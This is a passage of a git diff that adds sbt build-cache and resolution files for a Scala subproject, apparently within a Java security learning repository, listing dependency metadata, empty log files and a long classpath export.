":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"util-logging_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"scripted-plugin_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"librarymanagement-core_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}}],"extraAttributes":{},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"scala-compiler","type":"jar","extension":"jar","configurations":[],"extraAttributes":{},"allowInsecureProtocol":false},"file:///Users/drunkbaby/.sbt/boot/scala-2.12.19/lib/scala-compiler.jar"]],"missingArtifacts":[],"evicted":false,"homepage":"https://www.scala-lang.org/","extraAttributes":{},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["Apache-2.0","https://www.apache.org/licenses/LICENSE-2.0"]],"callers":[]},{"module":{"organization":"org.scala-lang","name":"scala-library","revision":"2.12.19","configurations":"default","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[{"organization":"org.scala-sbt","name":"io_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"librarymanagement-ivy_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"util-position_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"sbt","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"util-logging_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"scripted-plugin_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"librarymanagement-core_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}}],"extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.12.19/"},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"scala-library","type":"jar","extension":"jar","configurations":[],"extraAttributes":{},"allowInsecureProtocol":false},"file:///Users/drunkbaby/.sbt/boot/scala-2.12.19/lib/scala-library.jar"]],"missingArtifacts":[],"evicted":false,"homepage":"https://www.scala-lang.org/","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.12.19/"},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["Apache-2.0","https://www.apache.org/licenses/LICENSE-2.0"]],"callers":[]},{"module":{"organization":"org.scala-lang","name":"scala-library","revision":"2.12.19","configurations":"optional","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[{"organization":"org.scala-sbt","name":"io_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"librarymanagement-ivy_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"util-position_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"sbt","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"util-logging_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"scripted-plugin_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"librarymanagement-core_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}}],"extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.12.19/"},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"scala-library","type":"jar","extension":"jar","configurations":[],"extraAttributes":{},"allowInsecureProtocol":false},"file:///Users/drunkbaby/.sbt/boot/scala-2.12.19/lib/scala-library.jar"]],"missingArtifacts":[],"evicted":false,"homepage":"https://www.scala-lang.org/","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.12.19/"},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["Apache-2.0","https://www.apache.org/licenses/LICENSE-2.0"]],"callers":[]},{"module":{"organization":"org.scala-lang","name":"scala-reflect","revision":"2.12.19","configurations":"default","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[{"organization":"org.scala-sbt","name":"io_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"librarymanagement-ivy_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"util-position_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"sbt","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"util-logging_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"scripted-plugin_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"librarymanagement-core_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}}],"extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.12.19/"},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"scala-reflect","type":"jar","extension":"jar","configurations":[],"extraAttributes":{},"allowInsecureProtocol":false},"file:///Users/drunkbaby/.sbt/boot/scala-2.12.19/lib/scala-reflect.jar"]],"missingArtifacts":[],"evicted":false,"homepage":"https://www.scala-lang.org/","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.12.19/"},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["Apache-2.0","https://www.apache.org/licenses/LICENSE-2.0"]],"callers":[]},{"module":{"organization":"org.scala-lang.modules","name":"scala-xml_2.12","revision":"2.2.0","configurations":"default","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[{"organization":"org.scala-sbt","name":"io_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"librarymanagement-ivy_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"util-position_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"sbt","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"util-logging_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-lang","name":"*","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"scripted-plugin_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"librarymanagement-core_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}}],"extraAttributes":{"info.apiURL":"https://javadoc.io/doc/org.scala-lang.modules/scala-xml_2.13/","info.versionScheme":"early-semver"},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"scala-xml_2.12","type":"bundle","extension":"jar","configurations":[],"url":"https://repo1.maven.org/maven2/org/scala-lang/modules/scala-xml_2.12/2.2.0/scala-xml_2.12-2.2.0.jar","extraAttributes":{"info.apiURL":"https://javadoc.io/doc/org.scala-lang.modules/scala-xml_2.13/","info.versionScheme":"early-semver"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/modules/scala-xml_2.12/2.2.0/scala-xml_2.12-2.2.0.jar"]],"missingArtifacts":[],"evicted":false,"homepage":"http://www.scala-lang.org/","extraAttributes":{"info.apiURL":"https://javadoc.io/doc/org.scala-lang.modules/scala-xml_2.13/","info.versionScheme":"early-semver"},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["Apache-2.0","https://www.apache.org/licenses/LICENSE-2.0"]],"callers":[]},{"module":{"organization":"jline","name":"jline","revision":"2.14.6","configurations":"default","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[{"organization":"org.scala-sbt","name":"io_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"librarymanagement-ivy_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"util-position_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"sbt","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"util-logging_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"scripted-plugin_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"librarymanagement-core_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}}],"extraAttributes":{},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"jline","type":"jar","extension":"jar","configurations":[],"url":"https://repo1.maven.org/maven2/jline/jline/2.14.6/jline-2.14.6.jar","extraAttributes":{},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/jline/jline/2.14.6/jline-2.14.6.jar"]],"missingArtifacts":[],"evicted":false,"extraAttributes":{},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["The BSD License","http://www.opensource.org/licenses/bsd-license.php"]],"callers":[]}],"details":[]},{"configuration":{"name":"sources"},"modules":[],"details":[]},{"configuration":{"name":"test"},"modules":[],"details":[]},{"configuration":{"name":"test-internal"},"modules":[{"module":{"organization":"org.scala-lang","name":"scala-library","revision":"2.12.19","configurations":"default","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[{"organization":"org.scala-sbt","name":"io_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"librarymanagement-ivy_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"util-position_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"sbt","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"util-logging_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"scripted-plugin_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"librarymanagement-core_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}}],"extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.12.19/"},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"scala-library","type":"jar","extension":"jar","configurations":[],"extraAttributes":{},"allowInsecureProtocol":false},"file:///Users/drunkbaby/.sbt/boot/scala-2.12.19/lib/scala-library.jar"]],"missingArtifacts":[],"evicted":false,"homepage":"https://www.scala-lang.org/","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.12.19/"},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["Apache-2.0","https://www.apache.org/licenses/LICENSE-2.0"]],"callers":[]}],"details":[]}],"stats":{"resolveTime":-1,"downloadTime":-1,"downloadSize":-1,"cached":false},"stamps":{}} \ No newline at end of file diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/_global/_global/_global/streams/out b/JavaSecurity/JDK/Scala1/project/target/streams/_global/_global/_global/streams/out new file mode 100644 index 00000000..e69de29b diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/_global/_global/csrLogger/_global/streams/out b/JavaSecurity/JDK/Scala1/project/target/streams/_global/_global/csrLogger/_global/streams/out new file mode 100644 index 00000000..e69de29b diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/_global/csrConfiguration/_global/streams/out b/JavaSecurity/JDK/Scala1/project/target/streams/_global/csrConfiguration/_global/streams/out new file mode 100644 index 00000000..e69de29b diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/_global/csrProject/_global/streams/out b/JavaSecurity/JDK/Scala1/project/target/streams/_global/csrProject/_global/streams/out new file mode 100644 index 00000000..e69de29b diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/_global/dependencyPositions/_global/streams/update_cache_2.12/input_dsp b/JavaSecurity/JDK/Scala1/project/target/streams/_global/dependencyPositions/_global/streams/update_cache_2.12/input_dsp new file mode 100644 index 00000000..77b55f12 --- /dev/null +++ b/JavaSecurity/JDK/Scala1/project/target/streams/_global/dependencyPositions/_global/streams/update_cache_2.12/input_dsp @@ -0,0 +1 @@ +-768128706 \ No newline at end of file diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/_global/dependencyPositions/_global/streams/update_cache_2.12/output_dsp b/JavaSecurity/JDK/Scala1/project/target/streams/_global/dependencyPositions/_global/streams/update_cache_2.12/output_dsp new file mode 100644 index 00000000..fa8310de --- /dev/null +++ b/JavaSecurity/JDK/Scala1/project/target/streams/_global/dependencyPositions/_global/streams/update_cache_2.12/output_dsp @@ -0,0 +1 @@ +{"{\"organization\":\"org.scala-lang\",\"name\":\"scala-library\",\"revision\":\"2.12.19\",\"configurations\":\"provided\",\"isChanging\":false,\"isTransitive\":true,\"isForce\":false,\"explicitArtifacts\":[],\"inclusions\":[],\"exclusions\":[],\"extraAttributes\":{},\"crossVersion\":{\"type\":\"Disabled\"}}":{"value":{"$fields":["path","startLine"],"path":"(sbt.Classpaths.jvmBaseSettings) Defaults.scala","startLine":3407},"type":"LinePosition"}} \ No newline at end of file diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/_global/ivyConfiguration/_global/streams/out b/JavaSecurity/JDK/Scala1/project/target/streams/_global/ivyConfiguration/_global/streams/out new file mode 100644 index 00000000..e69de29b diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/_global/ivySbt/_global/streams/out b/JavaSecurity/JDK/Scala1/project/target/streams/_global/ivySbt/_global/streams/out new file mode 100644 index 00000000..e69de29b diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/_global/moduleSettings/_global/streams/out b/JavaSecurity/JDK/Scala1/project/target/streams/_global/moduleSettings/_global/streams/out new file mode 100644 index 00000000..e69de29b diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/_global/projectDescriptors/_global/streams/out b/JavaSecurity/JDK/Scala1/project/target/streams/_global/projectDescriptors/_global/streams/out new file mode 100644 index 00000000..e69de29b diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/_global/scalaCompilerBridgeScope/_global/streams/out b/JavaSecurity/JDK/Scala1/project/target/streams/_global/scalaCompilerBridgeScope/_global/streams/out new file mode 100644 index 00000000..e69de29b diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/_global/update/_global/streams/out b/JavaSecurity/JDK/Scala1/project/target/streams/_global/update/_global/streams/out new file mode 100644 index 00000000..0bf44041 --- /dev/null +++ b/JavaSecurity/JDK/Scala1/project/target/streams/_global/update/_global/streams/out @@ -0,0 +1,3 @@ +[debug] not up to date. inChanged = true, force = false +[debug] Updating ProjectRef(uri("file:/Users/drunkbaby/Desktop/Codes/JavaSecurityLearning/JavaSecurity/JDK/Scala1/project/"), "scala1-build")... +[debug] Done updating ProjectRef(uri("file:/Users/drunkbaby/Desktop/Codes/JavaSecurityLearning/JavaSecurity/JDK/Scala1/project/"), "scala1-build") diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/compile/_global/_global/compileOutputs/previous b/JavaSecurity/JDK/Scala1/project/target/streams/compile/_global/_global/compileOutputs/previous new file mode 100644 index 00000000..faea7848 --- /dev/null +++ b/JavaSecurity/JDK/Scala1/project/target/streams/compile/_global/_global/compileOutputs/previous @@ -0,0 +1 @@ +["sbt.Task[scala.collection.Seq[java.nio.file.Path]]",["/Users/drunkbaby/Desktop/Codes/JavaSecurityLearning/JavaSecurity/JDK/Scala1/project/target/scala-2.12/sbt-1.0/zinc/inc_compile_2.12.zip"]] \ No newline at end of file diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/compile/_global/_global/discoveredMainClasses/data b/JavaSecurity/JDK/Scala1/project/target/streams/compile/_global/_global/discoveredMainClasses/data new file mode 100644 index 00000000..0637a088 --- /dev/null +++ b/JavaSecurity/JDK/Scala1/project/target/streams/compile/_global/_global/discoveredMainClasses/data @@ -0,0 +1 @@ +[] \ No newline at end of file diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/compile/bspReporter/_global/streams/out b/JavaSecurity/JDK/Scala1/project/target/streams/compile/bspReporter/_global/streams/out new file mode 100644 index 00000000..e69de29b diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/compile/compile/_global/streams/out b/JavaSecurity/JDK/Scala1/project/target/streams/compile/compile/_global/streams/out new file mode 100644 index 00000000..e69de29b diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/compile/compileIncremental/_global/streams/export b/JavaSecurity/JDK/Scala1/project/target/streams/compile/compileIncremental/_global/streams/export new file mode 100644 index 00000000..e69de29b diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/compile/compileIncremental/_global/streams/out b/JavaSecurity/JDK/Scala1/project/target/streams/compile/compileIncremental/_global/streams/out new file mode 100644 index 00000000..5db86870 --- /dev/null +++ b/JavaSecurity/JDK/Scala1/project/target/streams/compile/compileIncremental/_global/streams/out @@ -0,0 +1,6 @@ +[debug] [zinc] IncrementalCompile ----------- +[debug] IncrementalCompile.incrementalCompile +[debug] previous = Stamps for: 0 products, 0 sources, 0 libraries +[debug] current source = Set() +[debug]> initialChanges = InitialChanges(Changes(added = Set(), removed = Set(), changed = Set(), unmodified = ...),Set(),Set(),API Changes: Set()) +[debug] Full compilation, no sources in previous analysis. diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/compile/copyResources/_global/streams/out b/JavaSecurity/JDK/Scala1/project/target/streams/compile/copyResources/_global/streams/out new file mode 100644 index 00000000..49995276 --- /dev/null +++ b/JavaSecurity/JDK/Scala1/project/target/streams/compile/copyResources/_global/streams/out @@ -0,0 +1,2 @@ +[debug] Copy resource mappings: +[debug] diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/compile/dependencyClasspath/_global/streams/export b/JavaSecurity/JDK/Scala1/project/target/streams/compile/dependencyClasspath/_global/streams/export new file mode 100644 index 00000000..840acb78 --- /dev/null +++ b/JavaSecurity/JDK/Scala1/project/target/streams/compile/dependencyClasspath/_global/streams/export @@ -0,0 +1 @@ +/Users/drunkbaby/.sbt/boot/scala-2.12.19/lib/scala-library.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/lib/scala-compiler.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/lib/scala-xml_2.12-2.2.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/lib/scala-reflect.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/main_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/io_2.12-1.10.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jna-5.13.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-persist-core-assembly-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/slf4j-api-1.7.36.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-2.14.7-sbt-9c3b6aca11c57e339441442bbf58e550cdfecb79.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/command_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-reader-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-collection-compat_2.12-2.11.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-control_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/log4j-api-2.17.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/compiler-bridge_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/main-settings_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/sjson-new-core_2.12-0.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/sbinary_2.12-0.5.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/error_prone_annotations-2.4.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/gigahorse-core_2.12-0.7.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/config-1.4.2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/test-interface-1.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-persist_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/ivy-2.3.0-sbt-396a783bba347016e7fe30dacc60d355be607fe2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/actions_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/sbt-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-library-2.12.19.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-terminal-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/gigahorse-apache-http_2.12-0.7.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/checker-qual-3.4.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/caffeine-2.8.5.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/librarymanagement-core_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-tracking_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/testing_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/log4j-core-2.17.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/test-agent-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/launcher-interface-1.4.3.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-apiinfo_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/log4j-slf4j-impl-2.17.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/tasks_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/file-tree-views-2.1.12.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/collections_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/sjson-new-scalajson_2.12-0.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/task-system_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-lm-integration_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/sjson-new-murmurhash_2.12-0.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/ssl-config-core_2.12-0.6.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/librarymanagement-ivy_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-terminal-jna-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-compile-core_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-cache_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-parser-combinators_2.12-1.1.2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zero-allocation-hashing-0.16.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-terminal-jansi-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/run_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-core_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/reactive-streams-1.0.3.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-reflect-2.12.19.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jna-platform-5.13.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/disruptor-3.4.2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/template-resolver-0.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-builtins-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-relation_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-compiler-2.12.19.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scripted-plugin_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/protocol_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-style-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/completion_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-compile_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-xml_2.12-2.3.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/ipcsocket-1.6.2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/shaded-jawn-parser_2.12-1.3.2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-classpath_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jsch-0.2.17.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-position_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/lm-coursier-shaded_2.12-2.1.4.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/compiler-interface-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/shaded-scalajson_2.12-1.0.0-M4.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-interface-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-classfile_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-native-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-logging_2.12-1.10.1.jar:/Users/drunkbaby/.sb